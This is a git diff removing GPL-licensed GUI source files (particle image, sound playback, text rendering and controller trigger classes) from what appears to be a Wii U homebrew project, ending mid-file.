a/src/gui/GuiParticleImage.h b/src/gui/GuiParticleImage.h deleted file mode 100644 index eb7565b..0000000 --- a/src/gui/GuiParticleImage.h +++ /dev/null @@ -1,45 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef _GUI_PARTICLE_IMAGE_H_ -#define _GUI_PARTICLE_IMAGE_H_ - -#include "GuiImage.h" - -class GuiParticleImage : public GuiImage, public sigslot::has_slots<> -{ -public: - GuiParticleImage(int w, int h, u32 particleCount); - virtual ~GuiParticleImage(); - - void draw(CVideo *pVideo); -private: - f32 *posVertexs; - u8 *colorVertexs; - - typedef struct - { - glm::vec3 position; - glm::vec4 colors; - f32 radius; - f32 speed; - f32 direction; - } Particle; - - std::vector particles; -}; - -#endif // _GUI_ICON_GRID_H_ diff --git a/src/gui/GuiSound.cpp b/src/gui/GuiSound.cpp deleted file mode 100644 index 90fa9dd..0000000 --- a/src/gui/GuiSound.cpp +++ /dev/null @@ -1,192 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include "GuiSound.h" -#include "sounds/SoundHandler.hpp" - -GuiSound::GuiSound(const char * filepath) -{ - voice = -1; - Load(filepath); -} - -GuiSound::GuiSound(const u8 * snd, s32 length) -{ - voice = -1; - Load(snd, length); -} - -GuiSound::~GuiSound() -{ - if(voice >= 0) - { - SoundHandler::instance()->RemoveDecoder(voice); - } -} - - -bool GuiSound::Load(const char * filepath) -{ - if(voice >= 0) - { - SoundHandler::instance()->RemoveDecoder(voice); - voice = -1; - } - - //! find next free decoder - for(int i = 0; i < MAX_DECODERS; i++) - { - SoundDecoder * decoder = SoundHandler::instance()->getDecoder(i); - if(decoder == NULL) - { - SoundHandler::instance()->AddDecoder(i, filepath); - decoder = SoundHandler::instance()->getDecoder(i); - if(decoder) - { - voice = i; - SoundHandler::instance()->ThreadSignal(); - } - break; - } - } - - if(voice < 0) - return false; - - return true; -} - -bool GuiSound::Load(const u8 * snd, s32 len) -{ - if(voice >= 0) - { - SoundHandler::instance()->RemoveDecoder(voice); - voice = -1; - } - - if(!snd) - return false; - - //! find next free decoder - for(int i = 0; i < MAX_DECODERS; i++) - { - SoundDecoder * decoder = SoundHandler::instance()->getDecoder(i); - if(decoder == NULL) - { - SoundHandler::instance()->AddDecoder(i, snd, len); - decoder = SoundHandler::instance()->getDecoder(i); - if(decoder) - { - voice = i; - SoundHandler::instance()->ThreadSignal(); - } - break; - } - } - - if(voice < 0) - return false; - - return true; -} - -void GuiSound::Play() -{ - Stop(); - - Voice * v = SoundHandler::instance()->getVoice(voice); - if(v) - v->setState(Voice::STATE_START); - - -} - -void GuiSound::Stop() -{ - Voice * v = SoundHandler::instance()->getVoice(voice); - if(v) - { - if((v->getState() != Voice::STATE_STOP) && (v->getState() != Voice::STATE_STOPPED)) - v->setState(Voice::STATE_STOP); - - while(v->getState() != Voice::STATE_STOPPED) - usleep(1000); - } - - SoundDecoder * decoder = SoundHandler::instance()->getDecoder(voice); - if(decoder) - { - decoder->Lock(); - decoder->Rewind(); - decoder->ClearBuffer(); - SoundHandler::instance()->ThreadSignal(); - decoder->Unlock(); - } -} - -void GuiSound::Pause() -{ - if(!IsPlaying()) - return; - - Voice * v = SoundHandler::instance()->getVoice(voice); - if(v) - v->setState(Voice::STATE_STOP); -} - -void GuiSound::Resume() -{ - if(IsPlaying()) - return; - - Voice * v = SoundHandler::instance()->getVoice(voice); - if(v) - v->setState(Voice::STATE_START); -} - -bool GuiSound::IsPlaying() -{ - Voice * v = SoundHandler::instance()->getVoice(voice); - if(v) - return v->getState() == Voice::STATE_PLAYING; - - return false; - -} - -void GuiSound::SetVolume(u32 vol) -{ - if(vol > 100) - vol = 100; - - u32 volumeConv = ( (0x8000 * vol) / 100 ) << 16; - - Voice * v = SoundHandler::instance()->getVoice(voice); - if(v) - v->setVolume(volumeConv); -} - -void GuiSound::SetLoop(bool l) -{ - SoundDecoder * decoder = SoundHandler::instance()->getDecoder(voice); - if(decoder) - decoder->SetLoop(l); -} - -void GuiSound::Rewind() -{ - Stop(); -} diff --git a/src/gui/GuiSound.h b/src/gui/GuiSound.h deleted file mode 100644 index b63e40f..0000000 --- a/src/gui/GuiSound.h +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef GUI_SOUND_H_ -#define GUI_SOUND_H_ - -#include "common/types.h" -#include "system/AsyncDeleter.h" - -//!Sound conversion and playback. A wrapper for other sound libraries - ASND, libmad, ltremor, etc -class GuiSound : public AsyncDeleter::Element -{ - public: - //!Constructor - //!\param sound Pointer to the sound data - //!\param filesize Length of sound data - GuiSound(const char * filepath); - GuiSound(const u8 * sound, s32 length); - //!Destructor - virtual ~GuiSound(); - //!Load a file and replace the old one - bool Load(const char * filepath); - //!Load a file and replace the old one - bool Load(const u8 * snd, s32 len); - //!Start sound playback - void Play(); - //!Stop sound playback - void Stop(); - //!Pause sound playback - void Pause(); - //!Resume sound playback - void Resume(); - //!Checks if the sound is currently playing - //!\return true if sound is playing, false otherwise - bool IsPlaying(); - //!Rewind the music - void Rewind(); - //!Set sound volume - //!\param v Sound volume (0-100) - void SetVolume(u32 v); - //!\param l Loop (true to loop) - void SetLoop(bool l); - protected: - s32 voice; //!< Currently assigned ASND voice channel -}; - -#endif diff --git a/src/gui/GuiText.cpp b/src/gui/GuiText.cpp deleted file mode 100755 index f9efaec..0000000 --- a/src/gui/GuiText.cpp +++ /dev/null @@ -1,615 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include "video/CVideo.h" -#include "FreeTypeGX.h" -#include "GuiText.h" - -FreeTypeGX * GuiText::presentFont = NULL; -int GuiText::presetSize = 28; -int GuiText::presetInternalRenderingScale = 2.0f; //Lets render the font at the doubled size. This make it even smoother! -int GuiText::presetMaxWidth = 0xFFFF; -int GuiText::presetAlignment = ALIGN_CENTER | ALIGN_MIDDLE; -GX2ColorF32 GuiText::presetColor = (GX2ColorF32){ 1.0f, 1.0f, 1.0f, 1.0f }; - -#define TEXT_SCROLL_DELAY 6 -#define TEXT_SCROLL_INITIAL_DELAY 10 -#define MAX_LINES_TO_DRAW 10 - -/** - * Constructor for the GuiText class. - */ - -GuiText::GuiText() -{ - text = NULL; - size = presetSize; - currentSize = size; - color = glm::vec4(presetColor.r, presetColor.g, presetColor.b, presetColor.a); - alpha = presetColor.a; - alignment = presetAlignment; - maxWidth = presetMaxWidth; - wrapMode = 0; - textWidth = 0; - font = presentFont; - linestodraw = MAX_LINES_TO_DRAW; - textScrollPos = 0; - textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; - textScrollDelay = TEXT_SCROLL_DELAY; - defaultBlur = 4.0f; - blurGlowIntensity = 0.0f; - blurAlpha = 0.0f; - blurGlowColor = glm::vec4(0.0f); - internalRenderingScale = presetInternalRenderingScale; -} - -GuiText::GuiText(const char * t, int s, const glm::vec4 & c) -{ - text = NULL; - size = s; - currentSize = size; - color = c; - alpha = c[3]; - alignment = ALIGN_CENTER | ALIGN_MIDDLE; - maxWidth = presetMaxWidth; - wrapMode = 0; - textWidth = 0; - font = presentFont; - linestodraw = MAX_LINES_TO_DRAW; - textScrollPos = 0; - textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; - textScrollDelay = TEXT_SCROLL_DELAY; - defaultBlur = 4.0f; - blurGlowIntensity = 0.0f; - blurAlpha = 0.0f; - blurGlowColor = glm::vec4(0.0f); - internalRenderingScale = presetInternalRenderingScale; - - if(t) - { - text = FreeTypeGX::charToWideChar(t); - if(!text) - return; - - textWidth = font->getWidth(text, currentSize); - } -} - -GuiText::GuiText(const wchar_t * t, int s, const glm::vec4 & c) -{ - text = NULL; - size = s; - currentSize = size; - color = c; - alpha = c[3]; - alignment = ALIGN_CENTER | ALIGN_MIDDLE; - maxWidth = presetMaxWidth; - wrapMode = 0; - textWidth = 0; - font = presentFont; - linestodraw = MAX_LINES_TO_DRAW; - textScrollPos = 0; - textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; - textScrollDelay = TEXT_SCROLL_DELAY; - defaultBlur = 4.0f; - blurGlowIntensity = 0.0f; - blurAlpha = 0.0f; - blurGlowColor = glm::vec4(0.0f); - internalRenderingScale = presetInternalRenderingScale; - - if(t) - { - text = new (std::nothrow) wchar_t[wcslen(t)+1]; - if(!text) - return; - - wcscpy(text, t); - - textWidth = font->getWidth(text, currentSize); - } -} - -/** - * Constructor for the GuiText class, uses presets - */ -GuiText::GuiText(const char * t) -{ - text = NULL; - size = presetSize; - currentSize = size; - color = glm::vec4(presetColor.r, presetColor.g, presetColor.b, presetColor.a); - alpha = presetColor.a; - alignment = presetAlignment; - maxWidth = presetMaxWidth; - wrapMode = 0; - textWidth = 0; - font = presentFont; - linestodraw = MAX_LINES_TO_DRAW; - textScrollPos = 0; - textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; - textScrollDelay = TEXT_SCROLL_DELAY; - defaultBlur = 4.0f; - blurGlowIntensity = 0.0f; - blurAlpha = 0.0f; - blurGlowColor = glm::vec4(0.0f); - internalRenderingScale = presetInternalRenderingScale; - - if(t) - { - text = FreeTypeGX::charToWideChar(t); - if(!text) - return; - - textWidth = font->getWidth(text, currentSize); - } -} - - -/** - * Destructor for the GuiText class. - */ -GuiText::~GuiText() -{ - if(text) - delete [] text; - text = NULL; - - clearDynamicText(); -} - -void GuiText::setText(const char * t) -{ - if(text) - delete [] text; - text = NULL; - - clearDynamicText(); - - textScrollPos = 0; - textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; - - if(t) - { - text = FreeTypeGX::charToWideChar(t); - if(!text) - return; - - textWidth = font->getWidth(text, currentSize); - } -} - -void GuiText::setTextf(const char *format, ...) -{ - if(!format) - { - setText((char *) NULL); - return; - } - - int max_len = strlen(format) + 8192; - char *tmp = new char[max_len]; - va_list va; - va_start(va, format); - if((vsnprintf(tmp, max_len, format, va) >= 0) && tmp) - { - setText(tmp); - } - va_end(va); - - if(tmp) - delete [] tmp; -} - - -void GuiText::setText(const wchar_t * t) -{ - if(text) - delete [] text; - text = NULL; - - clearDynamicText(); - - textScrollPos = 0; - textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; - - if(t) - { - text = new (std::nothrow) wchar_t[wcslen(t)+1]; - if(!text) - return; - - wcscpy(text, t); - - textWidth = font->getWidth(text, currentSize); - } -} - -void GuiText::clearDynamicText() -{ - for(u32 i = 0; i < textDyn.size(); i++) - { - if(textDyn[i]) - delete [] textDyn[i]; - } - textDyn.clear(); - textDynWidth.clear(); -} - -void GuiText::setPresets(int sz, const glm::vec4 & c, int w, int a) -{ - presetSize = sz; - presetColor = (GX2ColorF32) { (f32)c.r / 255.0f, (f32)c.g / 255.0f, (f32)c.b / 255.0f, (f32)c.a / 255.0f }; - presetMaxWidth = w; - presetAlignment = a; -} - -void GuiText::setPresetFont(FreeTypeGX *f) -{ - presentFont = f; -} - -void GuiText::setFontSize(int s) -{ - size = s; -} - -void GuiText::setMaxWidth(int width, int w) -{ - maxWidth = width; - wrapMode = w; - - if(w == SCROLL_HORIZONTAL) - { - textScrollPos = 0; - textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; - textScrollDelay = TEXT_SCROLL_DELAY; - } - - clearDynamicText(); -} - -void GuiText::setColor(const glm::vec4 & c) -{ - color = c; - alpha = c[3]; -} - -void GuiText::setBlurGlowColor(float blur, const glm::vec4 & c) -{ - blurGlowColor = c; - blurGlowIntensity = blur; - blurAlpha = c[3]; -} - -int GuiText::getTextWidth(int ind) -{ - if(ind < 0 || ind >= (int) textDyn.size()) - return this->getTextWidth(); - - return font->getWidth(textDyn[ind], currentSize); -} - -const wchar_t * GuiText::getDynText(int ind) -{ - if(ind < 0 || ind >= (int) textDyn.size()) - return text; - - return textDyn[ind]; -} - -/** - * Change font - */ -bool GuiText::setFont(FreeTypeGX *f) -{ - if(!f) - return false; - - font = f; - textWidth = font->getWidth(text, currentSize); - return true; -} - -std::string GuiText::toUTF8(void) const -{ - if(!text) - return std::string(); - - char *pUtf8 = FreeTypeGX::wideCharToUTF8(text); - if(!pUtf8) - return std::string(); - - std::string strOutput(pUtf8); - - delete [] pUtf8; - - return strOutput; -} - -void GuiText::makeDottedText() -{ - int pos = textDyn.size(); - textDyn.resize(pos + 1); - - int i = 0, currentWidth = 0; - textDyn[pos] = new (std::nothrow) wchar_t[maxWidth]; - if(!textDyn[pos]) { - textDyn.resize(pos); - return; - } - - while (text[i]) - { - currentWidth += font->getCharWidth(text[i], currentSize, i > 0 ? text[i - 1] : 0); - if (currentWidth >= maxWidth && i > 2) - { - textDyn[pos][i - 2] = '.'; - textDyn[pos][i - 1] = '.'; - textDyn[pos][i] = '.'; - i++; - break; - } - - textDyn[pos][i] = text[i]; - - i++; - } - textDyn[pos][i] = 0; -} - -void GuiText::scrollText(u32 frameCount) -{ - if (textDyn.size() == 0) - { - int pos = textDyn.size(); - int i = 0, currentWidth = 0; - textDyn.resize(pos + 1); - - textDyn[pos] = new (std::nothrow) wchar_t[maxWidth]; - if(!textDyn[pos]) { - textDyn.resize(pos); - return; - } - - while (text[i] && currentWidth < maxWidth) - { - textDyn[pos][i] = text[i]; - - currentWidth += font->getCharWidth(text[i], currentSize, i > 0 ? text[i - 1] : 0); - - ++i; - } - textDyn[pos][i] = 0; - - return; - } - - if (frameCount % textScrollDelay != 0) - { - return; - } - - if (textScrollInitialDelay) - { - --textScrollInitialDelay; - return; - } - - int stringlen = wcslen(text); - - ++textScrollPos; - if (textScrollPos > stringlen) - { - textScrollPos = 0; - textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; - } - - int ch = textScrollPos; - int pos = textDyn.size() - 1; - - if (!textDyn[pos]) - textDyn[pos] = new (std::nothrow) wchar_t[maxWidth]; - - if(!textDyn[pos]) { - textDyn.resize(pos); - return; - } - - int i = 0, currentWidth = 0; - - while (currentWidth < maxWidth) - { - if (ch > stringlen - 1) - { - textDyn[pos][i++] = ' '; - currentWidth += font->getCharWidth(L' ', currentSize, ch > 0 ? text[ch - 1] : 0); - textDyn[pos][i++] = ' '; - currentWidth += font->getCharWidth(L' ', currentSize, L' '); - textDyn[pos][i++] = ' '; - currentWidth += font->getCharWidth(L' ', currentSize, L' '); - ch = 0; - - if(currentWidth >= maxWidth) - break; - } - - textDyn[pos][i] = text[ch]; - currentWidth += font->getCharWidth(text[ch], currentSize, ch > 0 ? text[ch - 1] : 0); - ++ch; - ++i; - } - textDyn[pos][i] = 0; -} - -void GuiText::wrapText() -{ - if (textDyn.size() > 0) return; - - int i = 0; - int ch = 0; - int linenum = 0; - int lastSpace = -1; - int lastSpaceIndex = -1; - int currentWidth = 0; - - while (text[ch] && linenum < linestodraw) - { - if (linenum >= (int) textDyn.size()) - { - textDyn.resize(linenum + 1); - textDyn[linenum] = new (std::nothrow) wchar_t[maxWidth]; - if(!textDyn[linenum]) { - textDyn.resize(linenum); - break; - } - } - - textDyn[linenum][i] = text[ch]; - textDyn[linenum][i + 1] = 0; - - currentWidth += font->getCharWidth(text[ch], currentSize, ch > 0 ? text[ch - 1] : 0x0000); - - if (currentWidth >= maxWidth || (text[ch] == '\n')) - { - if(text[ch] == '\n') - { - lastSpace = -1; - lastSpaceIndex = -1; - } - else if (lastSpace >= 0) - { - textDyn[linenum][lastSpaceIndex] = 0; // discard space, and everything after - ch = lastSpace; // go backwards to the last space - lastSpace = -1; // we have used this space - lastSpaceIndex = -1; - } - - if (linenum + 1 == linestodraw && text[ch + 1] != 0x0000) - { - if(i < 2) - i = 2; - - textDyn[linenum][i - 2] = '.'; - textDyn[linenum][i - 1] = '.'; - textDyn[linenum][i] = '.'; - textDyn[linenum][i + 1] = 0; - } - - currentWidth = 0; - ++linenum; - i = -1; - } - if (text[ch] == ' ' && i >= 0) - { - lastSpace = ch; - lastSpaceIndex = i; - } - ++ch; - ++i; - } -} - -/** - * Draw the text on screen - */ -void GuiText::draw(CVideo *pVideo) -{ - if(!text) - return; - - if(!isVisible()) - return; - - color[3] = getAlpha(); - blurGlowColor[3] = blurAlpha * getAlpha(); - - float finalRenderingScale = 2.0f * internalRenderingScale; - - int newSize = size * getScale() * finalRenderingScale; - int normal_size = size * getScale(); - - if(newSize != currentSize) - { - currentSize = normal_size; - - if(text) - textWidth = font->getWidth(text, normal_size); - } - - f32 x_pos = getCenterX() * finalRenderingScale; - f32 y_pos = getCenterY() * finalRenderingScale; - - if(maxWidth > 0 && maxWidth <= textWidth) - { - if(wrapMode == DOTTED) // text dotted - { - if(textDyn.size() == 0) - makeDottedText(); - - if(textDynWidth.size() != textDyn.size()) - { - textDynWidth.resize(textDyn.size()); - - for(u32 i = 0; i < textDynWidth.size(); i++) - textDynWidth[i] = font->getWidth(textDyn[i], newSize); - } - - - if(textDyn.size() > 0) - font->drawText(pVideo, x_pos, y_pos, getDepth(), textDyn[textDyn.size()-1], newSize, color, alignment, textDynWidth[textDyn.size()-1], defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale); - } - - else if(wrapMode == SCROLL_HORIZONTAL) - { - scrollText(pVideo->getFrameCount()); - - if(textDyn.size() > 0) - font->drawText(pVideo, x_pos, y_pos, getDepth(), textDyn[textDyn.size()-1], newSize, color, alignment, maxWidth*finalRenderingScale, defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale); - - } - else if(wrapMode == WRAP) - { - int lineheight = newSize + 6; - int yoffset = 0; - int voffset = 0; - - if(textDyn.size() == 0) - wrapText(); - - if(textDynWidth.size() != textDyn.size()) - { - textDynWidth.resize(textDyn.size()); - - for(u32 i = 0; i < textDynWidth.size(); i++) - textDynWidth[i] = font->getWidth(textDyn[i], newSize); - } - - if(alignment & ALIGN_MIDDLE) - voffset = (lineheight * (textDyn.size()-1)) >> 1; - - for(u32 i = 0; i < textDyn.size(); i++) - { - font->drawText(pVideo, x_pos, y_pos + voffset + yoffset, getDepth(), textDyn[i], newSize, color, alignment, textDynWidth[i], defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale); - yoffset -= lineheight; - } - } - } - else - { - uint16_t newtextWidth = font->getWidth(text, newSize); - font->drawText(pVideo, x_pos, y_pos, getDepth(), text, newSize, color, alignment, newtextWidth, defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale); - } -} diff --git a/src/gui/GuiText.h b/src/gui/GuiText.h deleted file mode 100755 index 2aa2d5e..0000000 --- a/src/gui/GuiText.h +++ /dev/null @@ -1,142 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef GUI_TEXT_H_ -#define GUI_TEXT_H_ - -#include "common/gx2_ext.h" -#include "GuiElement.h" -//!Forward declaration -class FreeTypeGX; - -//!Display, manage, and manipulate text in the GUI -class GuiText : public GuiElement -{ -public: - //!Constructor - GuiText(); - //!\param t Text - //!\param s Font size - //!\param c Font color - GuiText(const char * t, int s, const glm::vec4 & c); - //!\overload - //!\param t Text - //!\param s Font size - //!\param c Font color - GuiText(const wchar_t * t, int s, const glm::vec4 & c); - //!\overload - //!\Assumes SetPresets() has been called to setup preferred text attributes - //!\param t Text - GuiText(const char * t); - //!Destructor - virtual ~GuiText(); - //!Sets the text of the GuiText element - //!\param t Text - virtual void setText(const char * t); - virtual void setText(const wchar_t * t); - virtual void setTextf(const char *format, ...) __attribute__((format(printf,2,3))); - //!Sets up preset values to be used by GuiText(t) - //!Useful when printing multiple text elements, all with the same attributes set - //!\param sz Font size - //!\param c Font color - //!\param w Maximum width of texture image (for text wrapping) - //!\param wrap Wrapmode when w>0 - //!\param a Text alignment - static void setPresets(int sz, const glm::vec4 & c, int w, int a); - static void setPresetFont(FreeTypeGX *font); - //!Sets the font size - //!\param s Font size - void setFontSize(int s); - //!Sets the maximum width of the drawn texture image - //!If the text exceeds this, it is wrapped to the next line - //!\param w Maximum width - //!\param m WrapMode - void setMaxWidth(int w = 0, int m = WRAP); - //!Sets the font color - //!\param c Font color - void setColor(const glm::vec4 & c); - - void setBlurGlowColor(float blurIntensity, const glm::vec4 & c); - - void setTextBlur(float blur) { defaultBlur = blur; } - //!Get the original text as char - virtual const wchar_t * getText() const { return text; } - virtual std::string toUTF8(void) const; - //!Get the Horizontal Size of Text - int getTextWidth() { return textWidth; } - int getTextWidth(int ind); - //!Get the max textwidth - int getTextMaxWidth() { return maxWidth; } - //!Get fontsize - int getFontSize() { return size; }; - //!Set max lines to draw - void setLinesToDraw(int l) { linestodraw = l; } - //!Get current Textline (for position calculation) - const wchar_t * getDynText(int ind = 0); - virtual const wchar_t * getTextLine(int ind) { return getDynText(ind); }; - //!Change the font - bool setFont(FreeTypeGX *font); - //! virtual function used in child classes - virtual int getStartWidth() { return 0; }; - //!Constantly called to draw the text - void draw(CVideo *pVideo); - //! text enums - enum - { - WRAP, - DOTTED, - SCROLL_HORIZONTAL, - SCROLL_NONE - }; -protected: - static FreeTypeGX * presentFont; - static int presetSize; - static int presetMaxWidth; - static int presetInternalRenderingScale; - static int presetAlignment; - static GX2ColorF32 presetColor; - - //!Clear the dynamic text - void clearDynamicText(); - //!Create a dynamic dotted text if the text is too long - void makeDottedText(); - //!Scroll the text once - void scrollText(u32 frameCount); - //!Wrap the text to several lines - void wrapText(); - - wchar_t * text; - std::vector textDyn; - std::vector textDynWidth; - int wrapMode; //!< Wrapping toggle - int textScrollPos; //!< Current starting index of text string for scrolling - int textScrollInitialDelay; //!< Delay to wait before starting to scroll - int textScrollDelay; //!< Scrolling speed - int size; //!< Font size - int maxWidth; //!< Maximum width of the generated text object (for text wrapping) - FreeTypeGX *font; - int textWidth; - int currentSize; - int linestodraw; - glm::vec4 color; - float defaultBlur; - float blurGlowIntensity; - float blurAlpha; - glm::vec4 blurGlowColor; - float internalRenderingScale; -}; - -#endif diff --git a/src/gui/GuiTrigger.cpp b/src/gui/GuiTrigger.cpp deleted file mode 100644 index a4a172c..0000000 --- a/src/gui/GuiTrigger.cpp +++ /dev/null @@ -1,174 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include "GuiElement.h" -#include "GuiController.h" -#include "GuiTrigger.h" - -/** - * Constructor for the GuiTrigger class. - */ -GuiTrigger::GuiTrigger() - : chan(CHANNEL_ALL) - , btns(BUTTON_NONE) - , bClickEverywhere(false) - , bHoldEverywhere(false) - , bSelectionClickEverywhere(false) - , bLastTouched(false) -{ -} - -GuiTrigger::GuiTrigger(u32 ch, u32 btn, bool clickEverywhere, bool holdEverywhere, bool selectionClickEverywhere) - : chan(ch) - , btns(btn) - , bClickEverywhere(clickEverywhere) - , bHoldEverywhere(holdEverywhere) - , bSelectionClickEverywhere(selectionClickEverywhere) - , bLastTouched(false) -{ -} - -/** - * Destructor for the GuiTrigger class. - */ -GuiTrigger::~GuiTrigger() -{ -} - -/** - * Sets a simple trigger. Requires: - * - Element is selected - * - Trigger button is pressed - */ -void GuiTrigger::setTrigger(u32 ch, u32 btn) -{ - chan = ch; - btns = btn; -} - -bool GuiTrigger::left(const GuiController *controller) const -{ - if((controller->chan & chan) == 0) { - return false; - } - if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_LEFT | STICK_L_LEFT)) - { - return true; - } - return false; -} - -bool GuiTrigger::right(const GuiController *controller) const -{ - if((controller->chan & chan) == 0) { - return false; - } - if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_RIGHT | STICK_L_RIGHT)) - { - return true; - } - return false; -} - -bool GuiTrigger::up(const GuiController *controller) const -{ - if((controller->chan & chan) == 0) { - return false; - } - if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_UP | STICK_L_UP)) - { - return true; - } - return false; -} - -bool GuiTrigger::down(const GuiController *controller) const -{ - if((controller->chan & chan) == 0) { - return false; - } - if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_DOWN | STICK_L_DOWN)) - { - return true; - } - return false; -} - -bool GuiTrigger::clicked(const GuiController *controller) const -{ - if((controller->chan & chan) == 0) { - return false; - } - - bool bResult = false; - - if(controller->data.touched && controller->data.validPointer && (btns & VPAD_TOUCH) && !controller->lastData.touched) - { - bResult = true; - } - - if(controller->data.buttons_d & btns) - { - bResult = true; - } - return bResult; -} - -bool GuiTrigger::held(const GuiController *controller) const -{ - if((controller->chan & chan) == 0) { - return false; - } - - bool bResult = false; - - if(controller->data.touched && (btns & VPAD_TOUCH) && controller->data.validPointer && controller->lastData.touched && controller->lastData.validPointer) - { - bResult = true; - } - - if(controller->data.buttons_h & btns) - { - bResult = true; - } - - return bResult; -} - -bool GuiTrigger::released(const GuiController *controller) const -{ - if((controller->chan & chan) == 0) { - return false; - } - - if(clicked(controller) || held(controller)) - return false; - - bool bResult = false; - - if(!controller->data.touched && (btns & VPAD_TOUCH) && controller->lastData.touched && controller->lastData.validPointer) - { - bResult = true; - } - - if(controller->data.buttons_r & btns) - { - bResult = true; - } - - return bResult; -} - diff --git a/src/gui/GuiTrigger.h b/src/gui/GuiTrigger.h deleted file mode 100644 index 46a50e1..0000000 --- a/src/gui/GuiTrigger.h +++ /dev/null @@ -1,100 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef GUI_TRIGGER_H_ -#define GUI_TRIGGER_H_ - -#include "common/types.h" - -//!Menu input trigger management. Determine if action is neccessary based on input data by comparing controller input data to a specific trigger element. -class GuiTrigger -{ -public: - enum eChannels { - CHANNEL_1 = 0x01, - CHANNEL_2 = 0x02, - CHANNEL_3 = 0x04, - CHANNEL_4 = 0x08, - CHANNEL_5 = 0x10, - CHANNEL_ALL = 0xFF - }; - enum eButtons { - BUTTON_NONE = 0x0000, - VPAD_TOUCH = 0x80000000, - BUTTON_Z = 0x20000, - BUTTON_C = 0x10000, - BUTTON_A = 0x8000, - BUTTON_B = 0x4000, - BUTTON_X = 0x2000, - BUTTON_Y = 0x1000, - BUTTON_1 = BUTTON_Y, - BUTTON_2 = BUTTON_X, - BUTTON_LEFT = 0x0800, - BUTTON_RIGHT = 0x0400, - BUTTON_UP = 0x0200, - BUTTON_DOWN = 0x0100, - BUTTON_ZL = 0x0080, - BUTTON_ZR = 0x0040, - BUTTON_L = 0x0020, - BUTTON_R = 0x0010, - BUTTON_PLUS = 0x0008, - BUTTON_MINUS = 0x0004, - BUTTON_HOME = 0x0002, - BUTTON_SYNC = 0x0001, - STICK_R_LEFT = 0x04000000, - STICK_R_RIGHT = 0x02000000, - STICK_R_UP = 0x01000000, - STICK_R_DOWN = 0x00800000, - STICK_L_LEFT = 0x40000000, - STICK_L_RIGHT = 0x20000000, - STICK_L_UP = 0x10000000, - STICK_L_DOWN = 0x08000000 - }; - - //!Constructor - GuiTrigger(); - //!Constructor - GuiTrigger(u32 ch, u32 btns, bool 